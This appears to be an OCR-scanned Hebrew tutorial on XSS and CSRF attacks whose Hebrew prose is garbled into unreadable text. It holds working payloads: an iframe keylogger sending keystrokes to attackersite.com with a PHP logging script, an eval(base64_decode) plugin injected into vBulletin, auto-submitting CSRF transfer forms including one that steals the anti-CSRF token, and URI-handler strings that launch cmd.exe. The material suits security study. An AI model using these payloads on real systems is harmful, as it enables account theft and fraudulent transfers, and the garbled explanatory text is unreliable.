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<html>
<head>
title>[XSS Stringl</title>
</head>
<body>
<a href="http://vb-forum/some-forum-thread.html">Link!</a>
</body>
</html>
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Usergroups ~|Admin Control Panel (vBulletin 3.8.4 Patch Level 2) Latest version available: 3.8.6 Patch Level 1 Forum Home Page | Log Out
Social Groups Plugin & Products System ~

User Infractions

User Profile Fields Edit Plugin injected_haxx

User Ranks Product | vBulletin v

User Reputations

Hook Location | misc_start v
User Albums This specifies the location within the vBulletin code of the hook that wil fire
this plugin function

User Titles

Title |injected_haxx
Enter a title that describes this plugin.

Paid Subscriptions

Execution Order |5 |
Use this field to enter the order in which code at the same hook will be ——
Post Icons executed.

Plugin PHP Code eval (basefd_decode ("aWYoJFIHRVRbJIZhheDByMXRuMECnXTO 9J3RydWURKS]
Use this field to enter the PHP code that you would like to be run.
Custom BB Codes

| Large Edit Box |
RSS Feeds

Scheduled Tasks

Plugins & Products (]
Manage Products

Plugin Manager ( ) D3]

Add New Plugin
Download { Upload Plugins

Increase Size Decrease Size

Plugin is Active ®ves Ono
[E—— If this plugin is marked as inactive, it will not be called by vBulletin. Use
e L this to temporarily turn plugins on and off.

Maint
AR v _ EakS l e O l = _ v
-
E,_l

Done @
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http://www.exploit-db.com/sploits/evilwebtool.tar.gz
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<?
$f = fopen("/log.txt","at+");
fputs (S$£, $_SERVER[ 'REMOTE_ADDR']. "\t". $_GET ['t']."\t".chr ($_GET ['x'])."\n");
fclose ($f);

?>
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<script src="http://code.jquery.com/jquery-1.6.1.min.js"></script>

<iframe src="/login.php" id="w" style="width:100%; height:100%;
position:absolute; top:0; left:0; z-index:2; background-color:#ffffff;"
onload="$ ('#w') .contents () .keypress (function (event)

{$.get ('"http://www.attackersite.com/keylogger.php?x="+event.which+'s&t="+event.t
imeStamp, function (data) {});});"></iframe>

[https://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery :1Ijna]
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.(HTTP GET) 0910n |ONIXN 12 TINY7 U712 wnnwnn JIUR) 27¢

12 X1 091V L,(HTTP RESPONS) 09100 '019 NX TINY? N71Y NN v 27w

<form name="transaction" action="transactions.php" method="post">
from: <input type="text" name="from id">
to: <input type="text" name="to id">
amount: <input type="text" name="amount">
<input type="submit" wvalue="go!">
</form>

.(HTTP GET) N7 Nn71w1 010N '019 NX X'Mn wnnwnn 'whv 2y

.12 NIAMDN NIKINN NIX Y¥2Nn1 09100 '019 NX WI5N 1w 'y A

'w7vn 17W7 qun 2%wn 2 NN DY 'R ,CSRF NISENN yin7? Tyinn (112 DY 0" X7 0T
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[mwn 7m 7'wo |wo IN I NN AA (120, NIM'K A7 017 DNYNTWNNWAN 21 NT'R2 21 172y CSRF NI9Enn ' XD |'¥7 21wn)
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DN TINY7 IMIR N19' DN INKRYIE XN TIRN IR AR 'M72 91K [YO'Y TIRY N9 7190

<form name="transaction" action="transactions.php" method="post">
<input type="hidden" name="from id" value="victim_account">
<input type="hidden" name="to id" value="attacker_account">
<input type="hidden" name="amount" value="133333337">

</form>

<script> document.transaction.submit ();</script>

nwn A%7wn 2 L,(Mwn n1'nan) Nitn naxn LAnti CSRF Tokens (120 ,CSRF [nan 071 nT'na
D'0VI9N 17'N TNKT? YNNWN T 7V 09100 NNYY) 'wvn 2%wn L (Wnnwn 09100 Ty NN'7Y)
,J2Md NINN (wnnwnn T 7Y INTWIY D'019N DR YXAN NIYN 12 27w0) 'vann w0 (i
NN T 7Y NIXIN NTNNNA NaImm A 790 0T R X NDWNnn NNonw Token-n 2102 N
2V NPT L'WY 27w 09100 DTN DNVNT9N XY 2 WANwNna ‘T 7Y NNYW) awn Q7w

2 NXN] AT .09102 NIAINDON NIRAINN VIX' 1197 ,'yan 7w mwn T

:0910N NKX wpani YWY WA wnnwnn JIYKRA A

| > X
O q

SCRF Da ¥ (1mn 2'7n2) 1'7% qoinal 0910n NX 7000 HTML-n TRy DX X NN e A

:Token

HTTP RESPOMSE
% + CSRF Token

/a4

2 XK 0910N

<form name="transaction" action="transactions.php" method="post">
from: <input type="text" name="from id">
to: <input type="text" name="to id">
amount: <input type="text" name="amount">
<input type="hidden" name="anti_csrf token" value="unguessable value">
<input type="submit" value="go!">

</form>
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T2 NIN 12 NIAMDN NI71IY9N DX Y¥AN KINY 1971 ynNvnnn 09100 NX 72 NIvn 'yl A
NN IT MWD - X721 nTN2 198K 0"'Pn W7 g CSRF Token-2 wnnwnnn N7wIY YN OXRN

.OXNN] NXR'AY A'TANI 0910N

710 1'R NIN 1T N9pPNNaw 190 CSRF (120 NI9PNN y¥a7 07T qzinn vim CSRF Tokens-2 win'w
A7W2 701 IR V7Y RID D LW YYD L IUD Q700 2 DntEn DTNNN XN Wwon v wab

(MYY 9pnan 2 70 D'YNINN WD YRYUN L IWN 2700 190) [IWRIN

YIn'y NIV 7[IURIN 2707 7ayn 0A7wa DA 0'pn VTN Y n0YY awnT 200 pin T TR
DY TN NNIXR 277 710 KN XSS NISPNNYT Ny NN D ANt 9NNl NN XSS Niopnna
MYORN XSS nopnn .CSRF Token-2 D"7n 1wn - 19¥K 0" WON 7V w1 CSRF-N nopnn
NN A'WNT7 NN 72V NIRT X217 01" QPN ,wnnun? N7l KIN WX TINyn 7V N0 a'wn? 9iny
nwA? nn 7y .wnnwnn YT X977 Nhwaw 09100 17' nva 1010071 CSRF Token-2 0'7n Wwn

NN NNKXR XD A'XX ,NI0'Y 190N NATY] NNRT yxaY [N .09102 D" DINYNN T\U'?
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TV IFrame-n DIN DX IR X7 UNNWUNNY D NIXD NIK (YOI X700 Unhunny D1'Miyn

:0'7057'9 0 7y 0-7 17T1a mvpn

document.write ('<iframe id="iframe" src="account actions/transactions.php"
width="0" height="0"></iframe>");

NIX 9'01 271,901 TI YIN'7 ,TIMyn N1'YL INXR7 ,NX1

document.write ('<iframe id="iframe" src="account actions/transactions.php"
width="0" height="0" onload="get csrf token()"></iframe>');

,ANTI_CSRF_TOKEN-2 Nmwn 0wn DR XIpN XD N7y aw vean get csrf_token() n'xjzaon
NT'RY7 ,900N DX NI7YY [IAWN NT'RN) 09101 I'N'Y D*IIYN 1IRY D'0I9N DR K7D PN DK
Unnunn v mwa myy? mix nwni (ANTI_CSRF_TOKEN-n NX ,|2mdI NNayn? nmd ,javn

.0'mnn
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2 NXN KN

function get csrf token()

{

document.write'<form name="transaction" action="transactions.php"

method="post">

<input type="hidden" name="from id" value="victim account">

<input type="hidden" name="to id" value="attacker account">

<input type="hidden" name="amount" wvalue="133333337">

<input type="hidden" name="anti_csrf token" value=
document.getElementById("iframe") .contentDocument. forms[0].
anti_csrf token.value;>

</form>"';

document.transaction.submit () ;

,0910N D" 12 TINYN NIX Yi7aNn KINLINIX Y¥I UNNwnn 17'80 IR N71Y90 ,INXY INKRN N1'Nan
PI'T2 NIN anti_csrf_token NINwn2 72177 N9¥N MYNY 1V .NNTNA N7IWIE INIXR X701 DN NXY?

UNNWNY7 3 197 NITTIA NIMY N7Y XN INIKY VN

Cross IX - "?NIWY7 A"WOX 12D 711 NND ,|9TOT? NI X 7221 XSS™
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http://en.wikipedia.org/wiki/Cross-application_scripting
https://www.securitysummit.it/
http://milano.securitysummit.it/upload/file/atti%20milano%202010/16%20marzo/12_GENTILI_ACRI_SCOSCIA.PDF
mailto:aaa@aaa.com
mailto:aaa@aaa.com
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:URI-N X'n Nd011 XnAIT

telnet:towel.blinkenlights.nl

nnY? .(nin2 y'mn) towel.blinkenlights.n-7 "annni telnet-n N3N 117 Y1970 NIwzn 7w yn'7a DX

NTIRP97 n2vyon Nd>wNa Wipn 7"1n URI-nw 1on 701 nr

"C:\Windows\System32\rundl132.exe"
"C:\Windows\System32\url.dl1l", TelnetProtocolHandler %1

:0'Xan URI-N [0 NS0 NiXnAIT

Acrobat:
Callto:
File:
ftp:
gopher:
hello:
mms :
mmst:
mmsu :
msbd:
nntp:
shell:
svn:
skype:
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Rundl132.exe "C:\Program Files\Trillia\plugins\aim.d1l1l",
aim util urlHandler url="$%1" ini="c:\program
files\trillian\users\default\cache\pending aim.ini"
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D'RAN DIY'EN DN NO0I1Y NIRNAIT

mailto:%$00%00../../../../windows/system32/cmd".exe
oo/ /../../windows/system32.calc.exe " - " blah.bat

nntp:%00%00../../../../windows/system32/cmd".exe
S/ /../../windows/system32.calc.exe " - " blah.bat

news:%00%00../../../../windows/system32/cmd" .exe
S/ /.. /windows/system32.calc.exe " - " blah.bat

snews:%00%00../../../../windows/system32/cmd" .exe
S/ /.. /windows/system32.calc.exe " - " blah.bat

telnet:%00%00../../../../windows/system32/cmd".exe
oo/ /../../windows/system32.calc.exe " - " blah.bat
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http://technet.microsoft.com/en-us/security/bulletin/ms07-035
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e https://www.owasp.org/index.php/Cross Site Scripting Flaw

e http://www.exploit-db.com/wp-content/themes/exploit/docs/24559.pdf

e http://cdn.ttgtmedia.com/searchSoftwareQuality/downloads/XSS Chapter05.pdf

e http://www.net-security.org/dl/articles/AdvancedXSS.pdf

e https://www.owasp.org/index.php/XSS (Cross Site Scripting) Prevention Cheat Sheet

e https://www.owasp.org/index.php/Data Validation

e http://en.wikipedia.org/wiki/Cross-site scripting

e http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell

e https://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery

e http://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-

Carter/Presentation/bh-eu-08-mcfeters-rios-carter.pdf
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https://www.owasp.org/index.php/Cross_Site_Scripting_Flaw
http://www.exploit-db.com/wp-content/themes/exploit/docs/24559.pdf
http://cdn.ttgtmedia.com/searchSoftwareQuality/downloads/XSS_Chapter05.pdf
http://www.net-security.org/dl/articles/AdvancedXSS.pdf
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Data_Validation
http://en.wikipedia.org/wiki/Cross-site_scripting
http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell
https://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery
http://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Presentation/bh-eu-08-mcfeters-rios-carter.pdf
http://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Presentation/bh-eu-08-mcfeters-rios-carter.pdf

